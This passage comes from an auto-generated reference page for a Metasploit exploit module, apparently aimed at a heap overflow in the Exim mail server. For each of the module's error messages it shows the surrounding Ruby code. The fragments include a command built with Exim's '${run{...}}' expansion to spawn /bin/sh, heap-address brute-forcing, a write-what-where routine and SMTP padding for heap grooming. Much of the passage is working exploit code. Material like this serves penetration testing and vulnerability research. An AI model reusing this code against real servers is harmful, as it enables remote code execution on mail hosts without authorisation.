346:	    command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'

no min_heap_addr


Here is a relevant code snippet related to the "no min_heap_addr" error message:

422:	              return handler
423:	            end
424:	
425:	            if not min_heap_addr
426:	              if reply
427:	                fail_with(Failure::BadConfig, "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE
428:	                survived = heap_addr
429:	              else
430:	                if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE
431:	                  # survived should point to our safe-zone at the beginning of the heap
432:	                  fail_with(Failure::UnexpectedReply, "never survived") if not survived

never survived


Here is a relevant code snippet related to the "never survived" error message:

427:	                fail_with(Failure::BadConfig, "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE
428:	                survived = heap_addr
429:	              else
430:	                if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE
431:	                  # survived should point to our safe-zone at the beginning of the heap
432:	                  fail_with(Failure::UnexpectedReply, "never survived") if not survived
433:	                  print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}"
434:	                  min_heap_addr = survived
435:	                end
436:	              end
437:	            end

Brute-force FAILURE


Here is a relevant code snippet related to the "Brute-force FAILURE" error message:

448:	      helo_len /= 2
449:	      break if helo_len < 1024
450:	      # ^ otherwise the 3 copies of sender_helo_name will
451:	      # fit into the current_block of POOL_PERM memory
452:	    end
453:	    fail_with(Failure::UnexpectedReply, "Brute-force FAILURE")
454:	  end
455:	
456:	  # our write-what-where primitive
457:	  def try_code_execution(len, what, where)
458:	    fail_with(Failure::UnexpectedReply, "#{what.length} >= #{len}") if what.length >= len

<WHAT.LENGTH> >= <LEN>


Here is a relevant code snippet related to the "<WHAT.LENGTH> >= <LEN>" error message:

453:	    fail_with(Failure::UnexpectedReply, "Brute-force FAILURE")
454:	  end
455:	
456:	  # our write-what-where primitive
457:	  def try_code_execution(len, what, where)
458:	    fail_with(Failure::UnexpectedReply, "#{what.length} >= #{len}") if what.length >= len
459:	    fail_with(Failure::UnexpectedReply, "#{where} < 0") if where < 0
460:	
461:	    x86 = (@leaked[:arch] == ARCH_X86)
462:	    min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))
463:	    heap_shift = min_heap_shift + rand(1024 - min_heap_shift)

<WHERE> < 0


Here is a relevant code snippet related to the "<WHERE> < 0" error message:

454:	  end
455:	
456:	  # our write-what-where primitive
457:	  def try_code_execution(len, what, where)
458:	    fail_with(Failure::UnexpectedReply, "#{what.length} >= #{len}") if what.length >= len
459:	    fail_with(Failure::UnexpectedReply, "#{where} < 0") if where < 0
460:	
461:	    x86 = (@leaked[:arch] == ARCH_X86)
462:	    min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))
463:	    heap_shift = min_heap_shift + rand(1024 - min_heap_shift)
464:	    last_digit = 1 + rand(9)

sock isn't nil


Here is a relevant code snippet related to the "sock isn't nil" error message:

540:	
541:	  DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'
542:	  DOT = '[.]'
543:	
544:	  def smtp_connect(exploiting = true)
545:	    fail_with(Failure::Unknown, "sock isn't nil") if sock
546:	
547:	    connect
548:	    fail_with(Failure::Unknown, "sock is nil") if not sock
549:	    @smtp_state = :recv
550:	

sock is nil


Here is a relevant code snippet related to the "sock is nil" error message:

543:	
544:	  def smtp_connect(exploiting = true)
545:	    fail_with(Failure::Unknown, "sock isn't nil") if sock
546:	
547:	    connect
548:	    fail_with(Failure::Unknown, "sock is nil") if not sock
549:	    @smtp_state = :recv
550:	
551:	    # Receiving the banner (but we don't really need to check it)
552:	    smtp_recv(220)
553:	    return if not exploiting

bad SENDER_HOST_ADDRESS (nil)


Here is a relevant code snippet related to the "bad SENDER_HOST_ADDRESS (nil)" error message:

552:	    smtp_recv(220)
553:	    return if not exploiting
554:	
555:	    sender_host_address = datastore['SENDER_HOST_ADDRESS']
556:	    if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/
557:	      fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?
558:	      fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")
559:	    end
560:	    sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"
561:	
562:	    # turn helo_seen on (enable the MAIL command)

bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)


Here is a relevant code snippet related to the "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)" error message:

553:	    return if not exploiting
554:	
555:	    sender_host_address = datastore['SENDER_HOST_ADDRESS']
556:	    if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/
557:	      fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?
558:	      fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")
559:	    end
560:	    sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"
561:	
562:	    # turn helo_seen on (enable the MAIL command)
563:	    # call smtp_verify_helo() (force fopen() and small malloc()s)

not Exim?


Here is a relevant code snippet related to the "not Exim?" error message:

564:	    # call host_find_byname() (force gethostbyname's initial 1024-byte malloc())
565:	    smtp_send("HELO #{sender_host_address_octal}")
566:	    reply = smtp_recv(HELO_CODES)
567:	
568:	    if reply[:code] != "250"
569:	      fail_with(Failure::NoTarget, "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
570:	      fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
571:	    end
572:	
573:	    if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
574:	      fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3

bad SENDER_HOST_ADDRESS (helo_verify_hosts)


Here is a relevant code snippet related to the "bad SENDER_HOST_ADDRESS (helo_verify_hosts)" error message:

565:	    smtp_send("HELO #{sender_host_address_octal}")
566:	    reply = smtp_recv(HELO_CODES)
567:	
568:	    if reply[:code] != "250"
569:	      fail_with(Failure::NoTarget, "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
570:	      fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
571:	    end
572:	
573:	    if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
574:	      fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3
575:	      smtp_active_hostname = $1

bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)


Here is a relevant code snippet related to the "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)" error message:

569:	      fail_with(Failure::NoTarget, "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
570:	      fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
571:	    end
572:	
573:	    if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
574:	      fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3
575:	      smtp_active_hostname = $1
576:	      sender_host_name = $2
577:	
578:	      if sender_host_name =~ /\A(.*) at (\S*)\z/mn
579:	        sender_host_name = $2

bad SENDER_HOST_ADDRESS (no FCrDNS)


Here is a relevant code snippet related to the "bad SENDER_HOST_ADDRESS (no FCrDNS)" error message:

579:	        sender_host_name = $2
580:	        sender_ident = $1
581:	      else
582:	        sender_ident = nil
583:	      end
584:	      fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal
585:	
586:	    else
587:	      # can't double-check sender_host_address here, so only for advanced users
588:	      fail_with(Failure::BadConfig, "user-supplied EHLO greeting") unless datastore['FORCE_EXPLOIT']
589:	      # worst-case scenario

user-supplied EHLO greeting


Here is a relevant code snippet related to the "user-supplied EHLO greeting" error message:

583:	      end
584:	      fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal
585:	
586:	    else
587:	      # can't double-check sender_host_address here, so only for advanced users
588:	      fail_with(Failure::BadConfig, "user-supplied EHLO greeting") unless datastore['FORCE_EXPLOIT']
589:	      # worst-case scenario
590:	      smtp_active_hostname = "A" * NS_MAXDNAME
591:	      sender_host_name = "A" * NS_MAXDNAME
592:	      sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127));
593:	    end

sender changed


Here is a relevant code snippet related to the "sender changed" error message:

598:	      hostaddr8: sender_host_address_octal,
599:	      hostname: sender_host_name,
600:	      ident: sender_ident,
601:	      __smtp_active_hostname: smtp_active_hostname
602:	    }
603:	    fail_with(Failure::BadConfig, "sender changed") if _sender and _sender != @sender
604:	
605:	    # avoid a future pathological case by forcing it now:
606:	    # "Do NOT free the first successor, if our current block has less than 256 bytes left."
607:	    smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16)
608:	    smtp_recv(501, 'sender address must contain a domain')

state is <SMTP_STATE>


Here is a relevant code snippet related to the "state is <SMTP_STATE>" error message:

610:	    smtp_send("RSET")
611:	    smtp_recv(250, 'Reset OK')
612:	  end
613:	
614:	  def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)
615:	    fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :send
616:	    @smtp_state = :sending
617:	
618:	    if not arg_pattern
619:	      fail_with(Failure::BadConfig, "prefix is nil") if not prefix
620:	      fail_with(Failure::BadConfig, "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length

prefix is nil


Here is a relevant code snippet related to the "prefix is nil" error message:

614:	  def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)
615:	    fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :send
616:	    @smtp_state = :sending
617:	
618:	    if not arg_pattern
619:	      fail_with(Failure::BadConfig, "prefix is nil") if not prefix
620:	      fail_with(Failure::BadConfig, "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
621:	      command = prefix
622:	
623:	    else
624:	      fail_with(Failure::BadConfig, "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length

param isn't nil


Here is a relevant code snippet related to the "param isn't nil" error message:

615:	    fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :send
616:	    @smtp_state = :sending
617:	
618:	    if not arg_pattern
619:	      fail_with(Failure::BadConfig, "prefix is nil") if not prefix
620:	      fail_with(Failure::BadConfig, "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
621:	      command = prefix
622:	
623:	    else
624:	      fail_with(Failure::BadConfig, "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
625:	      length = arg_length - arg_prefix.length - arg_suffix.length

param is nil


Here is a relevant code snippet related to the "param is nil" error message:

619:	      fail_with(Failure::BadConfig, "prefix is nil") if not prefix
620:	      fail_with(Failure::BadConfig, "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
621:	      command = prefix
622:	
623:	    else
624:	      fail_with(Failure::BadConfig, "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
625:	      length = arg_length - arg_prefix.length - arg_suffix.length
626:	      fail_with(Failure::BadConfig, "smtp_send", "len is #{length}") if length <= 0
627:	      argument = arg_prefix
628:	      case arg_pattern
629:	      when String

len is <LENGTH>


Here is a relevant code snippet related to the "len is <LENGTH>" error message:

621:	      command = prefix
622:	
623:	    else
624:	      fail_with(Failure::BadConfig, "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
625:	      length = arg_length - arg_prefix.length - arg_suffix.length
626:	      fail_with(Failure::BadConfig, "smtp_send", "len is #{length}") if length <= 0
627:	      argument = arg_prefix
628:	      case arg_pattern
629:	      when String
630:	        argument += arg_pattern * (length / arg_pattern.length)
631:	        argument += arg_pattern[0, length % arg_pattern.length]

arglen is <ARGUMENT.LENGTH>, not <ARG_LENGTH>


Here is a relevant code snippet related to the "arglen is <ARGUMENT.LENGTH>, not <ARG_LENGTH>" error message:

631:	        argument += arg_pattern[0, length % arg_pattern.length]
632:	      when Method
633:	        argument += arg_pattern.call(length)
634:	      end
635:	      argument += arg_suffix
636:	      fail_with(Failure::BadConfig, "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
637:	      command = prefix + argument + suffix
638:	    end
639:	
640:	    fail_with(Failure::BadConfig, "invalid char in cmd") if command.count("^\x20-\x7F") > 0
641:	    fail_with(Failure::BadConfig, "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE

invalid char in cmd


Here is a relevant code snippet related to the "invalid char in cmd" error message:

635:	      argument += arg_suffix
636:	      fail_with(Failure::BadConfig, "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
637:	      command = prefix + argument + suffix
638:	    end
639:	
640:	    fail_with(Failure::BadConfig, "invalid char in cmd") if command.count("^\x20-\x7F") > 0
641:	    fail_with(Failure::BadConfig, "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
642:	    command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer
643:	
644:	    # the following loop works around a bug in the put() method:
645:	    # "while (send_idx < send_len)" should be "while (send_idx < buf.length)"

cmdlen is <COMMAND.LENGTH>


Here is a relevant code snippet related to the "cmdlen is <COMMAND.LENGTH>" error message:

636:	      fail_with(Failure::BadConfig, "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
637:	      command = prefix + argument + suffix
638:	    end
639:	
640:	    fail_with(Failure::BadConfig, "invalid char in cmd") if command.count("^\x20-\x7F") > 0
641:	    fail_with(Failure::BadConfig, "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
642:	    command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer
643:	
644:	    # the following loop works around a bug in the put() method:
645:	    # "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
646:	    # (or send_idx and/or send_len could be removed altogether, like here)

sent is <NUM_SENT>


Here is a relevant code snippet related to the "sent is <NUM_SENT>" error message:

645:	    # "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
646:	    # (or send_idx and/or send_len could be removed altogether, like here)
647:	
648:	    while command and not command.empty?
649:	      num_sent = sock.put(command)
650:	      fail_with(Failure::BadConfig, "sent is #{num_sent}") if num_sent <= 0
651:	      fail_with(Failure::BadConfig, "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length
652:	      command = command[num_sent..-1]
653:	    end
654:	
655:	    @smtp_state = :recv

sent is <NUM_SENT>, greater than <COMMAND.LENGTH>


Here is a relevant code snippet related to the "sent is <NUM_SENT>, greater than <COMMAND.LENGTH>" error message:

646:	    # (or send_idx and/or send_len could be removed altogether, like here)
647:	
648:	    while command and not command.empty?
649:	      num_sent = sock.put(command)
650:	      fail_with(Failure::BadConfig, "sent is #{num_sent}") if num_sent <= 0
651:	      fail_with(Failure::BadConfig, "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length
652:	      command = command[num_sent..-1]
653:	    end
654:	
655:	    @smtp_state = :recv
656:	  end

state is <SMTP_STATE>


Here is a relevant code snippet related to the "state is <SMTP_STATE>" error message:

654:	
655:	    @smtp_state = :recv
656:	  end
657:	
658:	  def smtp_recv(expected_code = nil, expected_data = nil)
659:	    fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :recv
660:	    @smtp_state = :recving
661:	
662:	    failure = catch(:failure) do
663:	
664:	      # parse SMTP replies very carefully (the information

sock isn't nil


Here is a relevant code snippet related to the "sock isn't nil" error message:

714:	
715:	    fail_with(Failure::UnexpectedReply, "#{failure}") if expected_code
716:	    return nil
717:	  end
718:	
719:	  def smtp_disconnect
720:	    disconnect if sock
721:	    fail_with(Failure::Unknown, "sock isn't nil") if sock
722:	    @smtp_state = :disconnected
723:	  end
724:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Unknown

Version


This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.